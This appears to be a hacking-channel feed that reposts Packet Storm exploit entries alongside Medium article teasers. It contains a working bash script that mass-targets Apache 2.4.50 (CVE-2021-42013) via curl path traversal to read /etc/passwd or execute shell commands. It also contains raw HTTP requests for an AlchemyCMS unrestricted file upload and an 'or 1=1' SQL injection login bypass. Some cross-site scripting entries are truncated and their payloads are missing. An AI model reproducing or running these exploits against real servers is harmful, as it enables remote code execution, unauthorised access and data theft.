Hacking on Medium
Top Crazy Termux Commands By Using Termux App

https://cdn-images-1.medium.com/max/600/0*6fmLFW9HgVLzSd6L.jpg
Basically, termux is a set up of linux environment app and also android terminal emulator as named. We can easily install this from google…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Turncoat: a brief guide to how digital certificates turn rogue

https://cdn-images-1.medium.com/max/2600/1*_95FnSZ3PYgKvcm6m61fcQ.jpeg
Similar to how your birth certificate is proof of your identity, digital certificates are proof of identity for digital devices, servers…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Apache HTTP Server 2.4.50 Path Traversal / Code Execution

https://2.bp.blogspot.com/-weqZA-ftzQE/WWlvbeJCv3I/AAAAAAAAIPM/_poAex3uv6ENktRwTJkjqdNNBZYRKBnvQCLcBGAs/s1600/h74.png
Apache HTTP Server version 2.4.50 suffers from path traversal and code execution vulnerabilities.

MD5 | 83e881b06b8c45b03c0e1280bba0e9df

Download
# Exploit: Apache HTTP Server 2.4.50 - Path Traversal & Remote Code Execution (RCE)
# Date: 10/05/2021
# Exploit Author: Lucas Souza https://lsass.io
# Vendor Homepage: https://apache.org/
# Version: 2.4.50
# Tested on: 2.4.50
# CVE : CVE-2021-42013
# Credits: Ash Daulton and the cPanel Security Team

#!/bin/bash

if [[ $1 == '' ]]; [[ $2 == '' ]]; then
echo Set [TAGET-LIST.TXT] [PATH] [COMMAND]
echo ./PoC.sh targets.txt /etc/passwd
echo ./PoC.sh targets.txt /bin/sh id

exit
fi
for host in $(cat $1); do
echo $host
curl -s --path-as-is -d "echo Content-Type: text/plain; echo; $3" "$host/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/$2"; done

# PoC.sh targets.txt /etc/passwd
# PoC.sh targets.txt /bin/sh whoami


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Alchemy CMS 6.0.0 Arbitrary File Upload

https://2.bp.blogspot.com/-7dI_F0yeiSk/WWlvAqxVj9I/AAAAAAAAIKQ/m4aOGdGGTmo7o3qANzxUijwjE_G1NHOSQCLcBGAs/s1600/h123.png
Alchemy CMS versions 2.x through 6.0.0 suffers from an arbitrary file upload vulnerability.

MD5 | 772227ba1ea679c5bb90f672fd31df27

Download
# Exploit Title: AlchemyCMS 2.x to 6.0.0 - Unrestricted File Upload (authenticated)
# Date: 01/10/2021
# Exploit Author: Abdulrahman https://twitter.com/infosec_90
# Vendor Homepage: https://alchemy-cms.com
# Software Link: https://github.com/AlchemyCMS/alchemy_cms
# Version: from 2.0 to 6.0.0
# Tested on: Linux ruby 2.6.8p205 rails 6

in /app/models/alchemy/attachment.rb line 82 :

def allowed_filetypes
Config.get(:uploader).fetch("allowed_filetypes", {}).fetch("alchemy/attachments", [])
end
end

in /app/views/alchemy/admin/uploader/_button.html.erb in 18

configuration(:uploader)['allowed_filetypes'][object.class.model_name.collection] || ['*'] %>
POC :
POST /admin/attachments HTTP/1.1
------WebKitFormBoundarydAup7dA7ub3Weccp
Content-Disposition: form-data; name="attachment[file]"; filename="anyfile.anyext"
Content-Type: application/octet-stream

anything

------WebKitFormBoundarydAup7dA7ub3Weccp--
OR
id = 8 for old attachment

PATCH /admin/attachments/8 HTTP/1.1
------WebKitFormBoundarylYnqNR9sxMPdw7Si
Content-Disposition: form-data; name="_method"

patch
------WebKitFormBoundarylYnqNR9sxMPdw7Si
Content-Disposition: form-data; name="attachment[file]"; filename="anyfile.anyext"
Content-Type: application/octet-stream

anything
------WebKitFormBoundarylYnqNR9sxMPdw7Si--

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
myfactory.FMS 7.1-911 Cross Site Scripting

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Sonicwall SonicOS 7.0 Host Header Injection

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Lifestyle Store 1.0 Cross Site Scripting

https://1.bp.blogspot.com/-vtYXiq7PjFk/WWlvT3pSItI/AAAAAAAAIN4/S7SZq03xxCsAAYdYEaQwiY4Z64tRJ_WvQCLcBGAs/s1600/h43.png
Lifestyle Store version 1.0 suffers from a cross site scripting vulnerability.

MD5 | d7c8253fafc2f8b1b505290bc4013a98

Download
Lifestyle Store 1.0 Cross Site Scripting

# Exploit Title: Lifestyle Store (Online Shop Store) 1.0 - Reflected Cross-Site Scripting (XSS)
# Date: 2021-10-12
# Author: Thamer https://twitter.com/thamer9900
# Software Link: https://download-media.code-projects.org/2021/07/Online_Shop_Store_In_PHP_With_Source_Code.zip
# Version: 1.0.0
# Tested on: Windows 10
1. Description:
The tab parameter in the signup.php is vulnerable to XSS.
2. signup.php in line 62 code:

if(isset($_GET["m2"])){
echo $_GET['m2'];
}

3. Proof of Concept:
/online-shop/signup.php?error=

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Logitech Media Server 8.2.0 Cross Site Scripting

https://3.bp.blogspot.com/-DuI_c3FaBwQ/WWlvaHZ97uI/AAAAAAAAIO8/N3071iSnuSkvxUt6NQQ_hoJeYx39DTurQCLcBGAs/s1600/h61.png
Logitech Media Server version 8.2.0 suffers from a cross site scripting vulnerability.

MD5 | 3ae9922542573279c3faa0e7e86540cd

Download
# Exploit Title: Logitech Media Server 8.2.0 - 'Title' Cross-Site Scripting (XSS)
# Shodan Dork: Search Logitech Media Server
# Date: 12.10.2021
# Exploit Author: Mert Das
# Vendor Homepage: www.logitech.com
# Version: 8.2.0
# Tested on: Windows 10, Linux

POC:

1. Go to Settings / Interface tab
2. Add payload to Title section
3. Payload : ">1
4. Alert will popup

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Simple Payroll System 1.0 SQL Injection

https://4.bp.blogspot.com/-sHG2jViTb-c/WWlvSCf2XfI/AAAAAAAAINY/YxfxwjOK_o05QB9TpuqqysTdHaIb3yf8wCLcBGAs/s1600/h36.png
Simple Payroll System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

MD5 | 216367c07b58ea8e258e33f401324ced

Download
# Exploit Title: Simple Payroll System 1.0 - SQLi Authentication Bypass
# Date: 2021-10-09
# Exploit Author: Yash Mahajan
# Vendor Homepage: https://www.sourcecodester.com/php/14974/simple-payroll-system-dynamic-tax-bracket-php-using-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/simple_payroll_0.zip
# Version: 1.0
# Tested on: Windows 10
# Description: Simple Payroll System v1.0 Login page can be bypassed with a SQLi into the username parameter.

Steps To Reproduce:

1 - Navigate to http://localhost/simple_payroll/admin/login.php
2 - Enter the payload into the username field as "' or 1=1-- " without double-quotes and type anything into the password field.
3 - Click on "Login" button and you are logged in as administrator.

Proof Of Concept:

POST /simple_payroll/Actions.php?a=login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 37
Origin: http://localhost
Connection: close
Referer: http://localhost/simple_payroll/admin/login.php
Cookie: PHPSESSID=ijad04l4pfb2oec6u2vmi4ll9p
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

username='+or+1%3D1--+&password=admin

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video